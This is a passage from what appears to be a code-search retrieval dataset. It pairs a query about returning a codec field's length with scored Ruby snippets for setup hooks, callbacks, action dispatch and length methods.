"text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend",
"title": ""
},
{
"docid": "e3aadf41537d03bd18cf63a3653e05aa",
"score": "0.54455507",
"text": "def before(action)\n invoke_callbacks *options_for(action).before\n end",
"title": ""
},
{
"docid": "6bd37bc223849096c6ea81aeb34c207e",
"score": "0.54398936",
"text": "def post_setup\n end",
"title": ""
},
{
"docid": "07fd9aded4aa07cbbba2a60fda726efe",
"score": "0.5415934",
"text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5407991",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5407991",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "9358208395c0869021020ae39071eccd",
"score": "0.54",
"text": "def post_setup; end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5394463",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5394463",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "cb5bad618fb39e01c8ba64257531d610",
"score": "0.5391065",
"text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end",
"title": ""
},
{
"docid": "a468b256a999961df3957e843fd9bdf4",
"score": "0.5388469",
"text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end",
"title": ""
},
{
"docid": "f099a8475f369ce73a38d665b6ee6877",
"score": "0.5376582",
"text": "def action_run\n end",
"title": ""
},
{
"docid": "2c4e5a90aa8efaaa3ed953818a9b30d2",
"score": "0.5355932",
"text": "def execute(setup)\n @action.call(setup)\n end",
"title": ""
},
{
"docid": "725216eb875e8fa116cd55eac7917421",
"score": "0.5348422",
"text": "def setup\n @controller.setup\n end",
"title": ""
},
{
"docid": "39c39d6fe940796aadbeaef0ce1c360b",
"score": "0.53466004",
"text": "def setup_phase; end",
"title": ""
},
{
"docid": "118932433a8cfef23bb8a921745d6d37",
"score": "0.53451854",
"text": "def register_action(action); end",
"title": ""
},
{
"docid": "bd03e961c8be41f20d057972c496018c",
"score": "0.5343858",
"text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end",
"title": ""
},
{
"docid": "c6352e6eaf17cda8c9d2763f0fbfd99d",
"score": "0.5339292",
"text": "def initial_action=(_arg0); end",
"title": ""
},
{
"docid": "207a668c9bce9906f5ec79b75b4d8ad7",
"score": "0.532725",
"text": "def before_setup\n\n end",
"title": ""
},
{
"docid": "669ee5153c4dc8ee81ff32c4cefdd088",
"score": "0.53038853",
"text": "def ensure_before_and_after; end",
"title": ""
},
{
"docid": "c77ece7b01773fb7f9f9c0f1e8c70332",
"score": "0.52850133",
"text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end",
"title": ""
},
{
"docid": "1e1e48767a7ac23eb33df770784fec61",
"score": "0.52815986",
"text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"title": ""
},
{
"docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7",
"score": "0.5257178",
"text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end",
"title": ""
},
{
"docid": "4ad1208a9b6d80ab0dd5dccf8157af63",
"score": "0.5257024",
"text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end",
"title": ""
},
{
"docid": "fc88422a7a885bac1df28883547362a7",
"score": "0.5248709",
"text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end",
"title": ""
},
{
"docid": "8945e9135e140a6ae6db8d7c3490a645",
"score": "0.5244428",
"text": "def action_awareness\n if action_aware?\n if !@options.key?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end",
"title": ""
},
{
"docid": "7b3954deb2995cf68646c7333c15087b",
"score": "0.5239302",
"text": "def after_setup\n end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.5235414",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.5235414",
"text": "def action; end",
"title": ""
},
{
"docid": "1dddf3ac307b09142d0ad9ebc9c4dba9",
"score": "0.5230717",
"text": "def external_action\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "5772d1543808c2752c186db7ce2c2ad5",
"score": "0.52270764",
"text": "def actions(state:)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "64a6d16e05dd7087024d5170f58dfeae",
"score": "0.5222752",
"text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend",
"title": ""
},
{
"docid": "6350959a62aa797b89a21eacb3200e75",
"score": "0.5222485",
"text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"title": ""
},
{
"docid": "db0cb7d7727f626ba2dca5bc72cea5a6",
"score": "0.52205867",
"text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end",
"title": ""
},
{
"docid": "8d7ed2ff3920c2016c75f4f9d8b5a870",
"score": "0.52127427",
"text": "def pick_action; end",
"title": ""
},
{
"docid": "7bbfb366d2ee170c855b1d0141bfc2a3",
"score": "0.52127236",
"text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end",
"title": ""
},
{
"docid": "78ecc6a2dfbf08166a7a1360bc9c35ef",
"score": "0.520801",
"text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end",
"title": ""
},
{
"docid": "6a98e12d6f15af80f63556fcdd01e472",
"score": "0.5204501",
"text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end",
"title": ""
},
{
"docid": "2aba2d3187e01346918a6557230603c7",
"score": "0.5204178",
"text": "def ac_action(&blk)\n @action = blk\n end",
"title": ""
},
{
"docid": "4c23552739b40c7886414af61210d31c",
"score": "0.52039874",
"text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call test_instance\n end\n end",
"title": ""
},
{
"docid": "d56f4ec734e3f3bc1ad913b36ff86130",
"score": "0.52032334",
"text": "def create_setup\n \n end",
"title": ""
},
{
"docid": "691d5a5bcefbef8c08db61094691627c",
"score": "0.5198697",
"text": "def performed(action)\n end",
"title": ""
},
{
"docid": "ad33138fb4bd42d9785a8f84821bfd88",
"score": "0.51944995",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "ad33138fb4bd42d9785a8f84821bfd88",
"score": "0.51944995",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "7fca702f2da4dbdc9b39e5107a2ab87d",
"score": "0.51913106",
"text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end",
"title": ""
},
{
"docid": "063b82c93b47d702ef6bddadb6f0c76e",
"score": "0.5178707",
"text": "def setup(instance)\n action(:setup, instance)\n end",
"title": ""
},
{
"docid": "9f1f73ee40d23f6b808bb3fbbf6af931",
"score": "0.51781213",
"text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.5172379",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.5172379",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.5172379",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "7a0c9d839516dc9d0014e160b6e625a8",
"score": "0.5163576",
"text": "def setup(request)\n end",
"title": ""
},
{
"docid": "e441ee807f2820bf3655ff2b7cf397fc",
"score": "0.5152934",
"text": "def after_setup; end",
"title": ""
},
{
"docid": "1d375c9be726f822b2eb9e2a652f91f6",
"score": "0.5142308",
"text": "def before *actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @callbacks[:a][a] = proc }\n end",
"title": ""
},
{
"docid": "2fcff037e3c18a5eb8d964f8f0a62ebe",
"score": "0.51392764",
"text": "def setup(params)\n end",
"title": ""
},
{
"docid": "c594a0d7b6ae00511d223b0533636c9c",
"score": "0.51391184",
"text": "def code_action_provider; end",
"title": ""
},
{
"docid": "faddd70d9fef5c9cd1f0d4e673e408b9",
"score": "0.51387095",
"text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"title": ""
},
{
"docid": "111fd47abd953b35a427ff0b098a800a",
"score": "0.51351416",
"text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end",
"title": ""
},
{
"docid": "f2ac709e70364fce188bb24e414340ea",
"score": "0.5115222",
"text": "def setup_defaults\n add_help\n @handler = Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end",
"title": ""
},
{
"docid": "3b4fb29fa45f95d436fd3a8987f12de7",
"score": "0.51131564",
"text": "def setup\n transition_to(:setup)\n end",
"title": ""
},
{
"docid": "4c7a1503a86fb26f1e4b4111925949a2",
"score": "0.51114494",
"text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5107052",
"text": "def action\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5107052",
"text": "def action\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5107052",
"text": "def action\n end",
"title": ""
},
{
"docid": "63849e121dcfb8a1b963f040d0fe3c28",
"score": "0.51055247",
"text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend",
"title": ""
},
{
"docid": "f04fd745d027fc758dac7a4ca6440871",
"score": "0.5102995",
"text": "def block_actions options ; end",
"title": ""
},
{
"docid": "0d1c87e5cf08313c959963934383f5ae",
"score": "0.50979155",
"text": "def on_action(action)\n @action = action\n self\n end",
"title": ""
},
{
"docid": "916d3c71d3a5db831a5910448835ad82",
"score": "0.50949734",
"text": "def do_action(action)\n case action\n when \"a\"\n @user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end",
"title": ""
},
{
"docid": "076c761e1e84b581a65903c7c253aa62",
"score": "0.5091706",
"text": "def add_callbacks(base); end",
"title": ""
}
] |
a99ce578b82ed09bfa6f747efb5e1c72 | No more required encode return the field length for upper codec layer def get_length(field) | [
{
"docid": "abd30f8965db6e1797358af56b2b7fa7",
"score": "0.0",
"text": "def check_length(buf,length)\n\t raise \"Length is nil\" if length.nil?\n if(length != 0)\n\t if buf.length < length\n\t raise BufferUnderflow, \"Not enough data for decoding (#{length}/#{buf.length})\"\n\t end\n return length\n else\n return buf.length\n end\n end",
"title": ""
}
] | [
{
"docid": "819b5bd3b9cf8affda8dcfe33332c085",
"score": "0.7762808",
"text": "def get_len(field_info=nil)\r\n if field_info.nil?\r\n @raw_io.read(4).unpack('I')[0]\r\n else\r\n field_info[:max_length]\r\n end\r\n end",
"title": ""
},
{
"docid": "1716a84a29f10e040631fe017362d2b7",
"score": "0.7483386",
"text": "def length\r\n @field_class.length\r\n end",
"title": ""
},
{
"docid": "781a28815c30602a795ac6562d45fbe4",
"score": "0.71371394",
"text": "def len_field(*args)\n args.map{|id| @fields.dig(id, :length) || 0}.reduce(0, :+)\n end",
"title": ""
},
{
"docid": "6c229f26692e17e70efea06d3ab690a6",
"score": "0.71141654",
"text": "def encoded_data_length\n @params['encodedDataLength'].to_i\n end",
"title": ""
},
{
"docid": "9d564a87c3cffcf259c9fc09c6931684",
"score": "0.7104083",
"text": "def length; to_machine_code.length; end",
"title": ""
},
{
"docid": "9aa5ebef4f2bb06e4d09a6bbda122cf1",
"score": "0.7091551",
"text": "def length_bytes; end",
"title": ""
},
{
"docid": "9aa5ebef4f2bb06e4d09a6bbda122cf1",
"score": "0.7091551",
"text": "def length_bytes; end",
"title": ""
},
{
"docid": "41a8c549711dcd53182c5aedc11ea9f1",
"score": "0.7064179",
"text": "def get_length\n\t\tend",
"title": ""
},
{
"docid": "a6fd7cfc4874afa18b8c770f57b1344c",
"score": "0.70439327",
"text": "def bit_length\n @bit_length ||= fields.inject(0) {|a, f| a + f.length}\n end",
"title": ""
},
{
"docid": "a6fd7cfc4874afa18b8c770f57b1344c",
"score": "0.70439327",
"text": "def bit_length\n @bit_length ||= fields.inject(0) {|a, f| a + f.length}\n end",
"title": ""
},
{
"docid": "bbb71730d08ced6c90bb930bc12b07fc",
"score": "0.7022463",
"text": "def length(record)\n if type.variable?\n len = record[:header][:field_lengths][position]\n else\n len = type.length\n end\n extern?(record) ? len - EXTERN_FIELD_SIZE : len\n end",
"title": ""
},
{
"docid": "d643a5d7a153376978f2b4d192ad374c",
"score": "0.7018984",
"text": "def length(record)\n if record[:header][:lengths].include?(@name)\n len = record[:header][:lengths][@name]\n raise \"Fixed-length mismatch\" unless variable? || len == @data_type.width\n else\n len = @data_type.width\n end\n extern?(record) ? len - EXTERN_FIELD_SIZE : len\n end",
"title": ""
},
{
"docid": "437eeffe8be5e130386ab67ac17298de",
"score": "0.7011399",
"text": "def byte_length\n 4\n end",
"title": ""
},
{
"docid": "370d7fee1a42e49a05bcf55d0f2d14fc",
"score": "0.6977789",
"text": "def bit_length\n @encoder.size\n end",
"title": ""
},
{
"docid": "137436a6fdadb72420f9c61b50580e28",
"score": "0.6960404",
"text": "def len ; 24 ; end",
"title": ""
},
{
"docid": "5b43a93b963f6ae84dcf5cacc31aff46",
"score": "0.69565386",
"text": "def size\n field_size\n end",
"title": ""
},
{
"docid": "1b03f09952142a7b1d2722bd1d9976d4",
"score": "0.6930283",
"text": "def length\r\n self.to_s.length \r\n end",
"title": ""
},
{
"docid": "2a04ac7c31f63c27a8410c38dc00c9d7",
"score": "0.69072765",
"text": "def length\n 8 * bytestr.bytesize - trailing_bit_offset - 1\n end",
"title": ""
},
{
"docid": "e20cf30cf8c0ceb67d3db72b0261077a",
"score": "0.68480945",
"text": "def getlength( tup_num, field_num )\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "9986dcc44f6d1323709e2a503c9acf3b",
"score": "0.6831361",
"text": "def field_size\n if self[:field_size].present? && self[:field_size] > 0\n self[:field_size]\n else\n results.size\n end\n end",
"title": ""
},
{
"docid": "861d03a9bbfc0cc1934efd592f295e33",
"score": "0.68081",
"text": "def length_in_long_words\n return @bits.attr_length\n end",
"title": ""
},
{
"docid": "fa1b715d3745a98b110c6aeda00a94a5",
"score": "0.6775225",
"text": "def field_size\n if self[:field_size] and self[:field_size] > 0\n self[:field_size]\n else\n results.size\n end\n end",
"title": ""
},
{
"docid": "fcb7691ad3ca37ebe954a258e557ec7f",
"score": "0.6762778",
"text": "def value_length(value)\n value.to_str.length\n end",
"title": ""
},
{
"docid": "7f67bc3add7df6015ca2327a24b8d893",
"score": "0.6751391",
"text": "def length\n @base[:length]\n end",
"title": ""
},
{
"docid": "b393cb6df82eaf582d85f85eaef598bc",
"score": "0.6751103",
"text": "def getLength\r\n\t\treturn @length\r\n\tend",
"title": ""
},
{
"docid": "432e442469a306ae55ddc22967fee573",
"score": "0.67087275",
"text": "def length()\n bounded? ? @length : @value.to_s(2).length\n end",
"title": ""
},
{
"docid": "44d2c514cc004a875f214288106c410f",
"score": "0.6704846",
"text": "def length\n to_s(2).length\n end",
"title": ""
},
{
"docid": "2cc16b6cd9c72c3add3f5c4a63d82a18",
"score": "0.66938305",
"text": "def data_length\n length - 8\n end",
"title": ""
},
{
"docid": "db112bbd5ebde40d02831410922a7a63",
"score": "0.6692681",
"text": "def length()\n @char_length\n end",
"title": ""
},
{
"docid": "d52dc745049406d919fe297818a3f6f3",
"score": "0.6677514",
"text": "def interpret_field_size(raw)\n return nil unless raw.present?\n return \"#{raw.upcase} hexadecimal = #{raw.to_i(16)} decimal characters\"\n end",
"title": ""
},
{
"docid": "2789ef4cb35cb5ed9648066722a3a3fc",
"score": "0.6660791",
"text": "def default_field_lengths\n field_lengths = @headers ? @headers.inject({}) {|h,(k,v)| h[k] = String.size(v); h} : {}\n @rows.each do |row|\n @fields.each do |field|\n len = String.size(row[field])\n field_lengths[field] = len if len > field_lengths[field].to_i\n end\n end\n field_lengths\n end",
"title": ""
},
{
"docid": "80cf614dfd7746145a6c8634252bc288",
"score": "0.6652848",
"text": "def hstrlen(key, field)\n call(key, [:hstrlen, key, field], read: true)\n end",
"title": ""
},
{
"docid": "a263262e2aa95d68c1c161843316c8f4",
"score": "0.66419077",
"text": "def length\r\n @array_length * @field_class.length\r\n end",
"title": ""
},
{
"docid": "737c4043d3f6d476eccef81b6301bc60",
"score": "0.6640769",
"text": "def str_length\n self.to_string.length\n end",
"title": ""
},
{
"docid": "81f9f5dfea9c70475bb983358d1847f4",
"score": "0.6640659",
"text": "def value_length(value)\n value.to_str.length\n end",
"title": ""
},
{
"docid": "e44016f18b9e1b30efbf365371cce4fb",
"score": "0.6632352",
"text": "def length\n @length\n end",
"title": ""
},
{
"docid": "e44016f18b9e1b30efbf365371cce4fb",
"score": "0.6632352",
"text": "def length\n @length\n end",
"title": ""
},
{
"docid": "e44016f18b9e1b30efbf365371cce4fb",
"score": "0.6632352",
"text": "def length\n @length\n end",
"title": ""
},
{
"docid": "e44016f18b9e1b30efbf365371cce4fb",
"score": "0.6632352",
"text": "def length\n @length\n end",
"title": ""
},
{
"docid": "e44016f18b9e1b30efbf365371cce4fb",
"score": "0.6632352",
"text": "def length\n @length\n end",
"title": ""
},
{
"docid": "147a39eca06c31616a46c135766c4733",
"score": "0.663132",
"text": "def length()\n\t\treturn 32\n\tend",
"title": ""
},
{
"docid": "6ed7c69d72bc969cf73ce5e189c6961e",
"score": "0.66297966",
"text": "def length\n\tend",
"title": ""
},
{
"docid": "538e3d58a53e8cf02bd2bdd6547cfc7a",
"score": "0.66205245",
"text": "def get_length\n \t@word.length\n end",
"title": ""
},
{
"docid": "bf75947334c1eb8d69f4287b493c1d67",
"score": "0.6610088",
"text": "def real_length\n (length + 1) * 8\n end",
"title": ""
},
{
"docid": "5c76b68934d62454b5f20b31965505a3",
"score": "0.6604251",
"text": "def length; @bits.length; end",
"title": ""
},
{
"docid": "e062884ffe2d2ecc733bc5377e233c0b",
"score": "0.659505",
"text": "def bit_len\r\n return @length\r\n end",
"title": ""
},
{
"docid": "0b13aeb06be262ba3f80298cb29d18af",
"score": "0.6586097",
"text": "def length\n (data.body.bytesize / (format.bit_depth / 8) / format.channel).fdiv(format.hz)\n end",
"title": ""
},
{
"docid": "ade50e405ad1e04ea8c8e28414440829",
"score": "0.65792274",
"text": "def length\n to_s.length\n end",
"title": ""
},
{
"docid": "875731db3df0cec71bd80b2ca1110bd3",
"score": "0.65699434",
"text": "def length; end",
"title": ""
},
{
"docid": "875731db3df0cec71bd80b2ca1110bd3",
"score": "0.65699434",
"text": "def length; end",
"title": ""
},
{
"docid": "875731db3df0cec71bd80b2ca1110bd3",
"score": "0.65699434",
"text": "def length; end",
"title": ""
},
{
"docid": "875731db3df0cec71bd80b2ca1110bd3",
"score": "0.65699434",
"text": "def length; end",
"title": ""
},
{
"docid": "875731db3df0cec71bd80b2ca1110bd3",
"score": "0.65699434",
"text": "def length; end",
"title": ""
},
{
"docid": "875731db3df0cec71bd80b2ca1110bd3",
"score": "0.65699434",
"text": "def length; end",
"title": ""
},
{
"docid": "875731db3df0cec71bd80b2ca1110bd3",
"score": "0.65699434",
"text": "def length; end",
"title": ""
},
{
"docid": "875731db3df0cec71bd80b2ca1110bd3",
"score": "0.65699434",
"text": "def length; end",
"title": ""
},
{
"docid": "875731db3df0cec71bd80b2ca1110bd3",
"score": "0.65699434",
"text": "def length; end",
"title": ""
},
{
"docid": "875731db3df0cec71bd80b2ca1110bd3",
"score": "0.65699434",
"text": "def length; end",
"title": ""
},
{
"docid": "875731db3df0cec71bd80b2ca1110bd3",
"score": "0.65699434",
"text": "def length; end",
"title": ""
},
{
"docid": "875731db3df0cec71bd80b2ca1110bd3",
"score": "0.65699434",
"text": "def length; end",
"title": ""
},
{
"docid": "875731db3df0cec71bd80b2ca1110bd3",
"score": "0.65699434",
"text": "def length; end",
"title": ""
},
{
"docid": "875731db3df0cec71bd80b2ca1110bd3",
"score": "0.65699434",
"text": "def length; end",
"title": ""
},
{
"docid": "875731db3df0cec71bd80b2ca1110bd3",
"score": "0.65699434",
"text": "def length; end",
"title": ""
},
{
"docid": "875731db3df0cec71bd80b2ca1110bd3",
"score": "0.65699434",
"text": "def length; end",
"title": ""
},
{
"docid": "875731db3df0cec71bd80b2ca1110bd3",
"score": "0.65699434",
"text": "def length; end",
"title": ""
},
{
"docid": "875731db3df0cec71bd80b2ca1110bd3",
"score": "0.65699434",
"text": "def length; end",
"title": ""
},
{
"docid": "875731db3df0cec71bd80b2ca1110bd3",
"score": "0.65699434",
"text": "def length; end",
"title": ""
},
{
"docid": "875731db3df0cec71bd80b2ca1110bd3",
"score": "0.65699434",
"text": "def length; end",
"title": ""
},
{
"docid": "875731db3df0cec71bd80b2ca1110bd3",
"score": "0.65699434",
"text": "def length; end",
"title": ""
},
{
"docid": "875731db3df0cec71bd80b2ca1110bd3",
"score": "0.65699434",
"text": "def length; end",
"title": ""
},
{
"docid": "875731db3df0cec71bd80b2ca1110bd3",
"score": "0.65699434",
"text": "def length; end",
"title": ""
},
{
"docid": "875731db3df0cec71bd80b2ca1110bd3",
"score": "0.65699434",
"text": "def length; end",
"title": ""
},
{
"docid": "875731db3df0cec71bd80b2ca1110bd3",
"score": "0.65699434",
"text": "def length; end",
"title": ""
},
{
"docid": "875731db3df0cec71bd80b2ca1110bd3",
"score": "0.65699434",
"text": "def length; end",
"title": ""
},
{
"docid": "875731db3df0cec71bd80b2ca1110bd3",
"score": "0.65699434",
"text": "def length; end",
"title": ""
},
{
"docid": "875731db3df0cec71bd80b2ca1110bd3",
"score": "0.65699434",
"text": "def length; end",
"title": ""
},
{
"docid": "875731db3df0cec71bd80b2ca1110bd3",
"score": "0.65699434",
"text": "def length; end",
"title": ""
},
{
"docid": "875731db3df0cec71bd80b2ca1110bd3",
"score": "0.65699434",
"text": "def length; end",
"title": ""
},
{
"docid": "875731db3df0cec71bd80b2ca1110bd3",
"score": "0.65699434",
"text": "def length; end",
"title": ""
},
{
"docid": "875731db3df0cec71bd80b2ca1110bd3",
"score": "0.65699434",
"text": "def length; end",
"title": ""
},
{
"docid": "e7bedfe273a606feae1cef0140ae1f44",
"score": "0.65682095",
"text": "def length\n 4\n end",
"title": ""
},
{
"docid": "e7bedfe273a606feae1cef0140ae1f44",
"score": "0.65682095",
"text": "def length\n 4\n end",
"title": ""
},
{
"docid": "e7bedfe273a606feae1cef0140ae1f44",
"score": "0.65682095",
"text": "def length\n 4\n end",
"title": ""
},
{
"docid": "e7bedfe273a606feae1cef0140ae1f44",
"score": "0.65682095",
"text": "def length\n 4\n end",
"title": ""
},
{
"docid": "e7bedfe273a606feae1cef0140ae1f44",
"score": "0.65682095",
"text": "def length\n 4\n end",
"title": ""
},
{
"docid": "76bc7a86adc49b67b20d4f6d49551b7c",
"score": "0.65516275",
"text": "def length\n value.length\n end",
"title": ""
},
{
"docid": "ccb86203bc1c76b7c8e9fb774956462a",
"score": "0.6551264",
"text": "def length\n end",
"title": ""
},
{
"docid": "ccb86203bc1c76b7c8e9fb774956462a",
"score": "0.6551264",
"text": "def length\n end",
"title": ""
},
{
"docid": "ccb86203bc1c76b7c8e9fb774956462a",
"score": "0.6551264",
"text": "def length\n end",
"title": ""
},
{
"docid": "ccb86203bc1c76b7c8e9fb774956462a",
"score": "0.6551264",
"text": "def length\n end",
"title": ""
},
{
"docid": "ccb86203bc1c76b7c8e9fb774956462a",
"score": "0.6551264",
"text": "def length\n end",
"title": ""
},
{
"docid": "ccb86203bc1c76b7c8e9fb774956462a",
"score": "0.6551264",
"text": "def length\n end",
"title": ""
},
{
"docid": "ccb86203bc1c76b7c8e9fb774956462a",
"score": "0.6551264",
"text": "def length\n end",
"title": ""
},
{
"docid": "ccb86203bc1c76b7c8e9fb774956462a",
"score": "0.6551264",
"text": "def length\n end",
"title": ""
},
{
"docid": "7c5b6f0367ab759b4be4c18c4f3c2586",
"score": "0.6547707",
"text": "def length\n ext_length\n end",
"title": ""
},
{
"docid": "7c5b6f0367ab759b4be4c18c4f3c2586",
"score": "0.6547707",
"text": "def length\n ext_length\n end",
"title": ""
},
{
"docid": "5c79f8de0531209ba3e7b63829a1992c",
"score": "0.6540802",
"text": "def length\n return @fields_update.length\n end",
"title": ""
},
{
"docid": "e50d8f30793915e973acb1736bd4d642",
"score": "0.6534679",
"text": "def length; type.length; end",
"title": ""
},
{
"docid": "c1cd707d4e8d13c1668639547f5aab6c",
"score": "0.6528932",
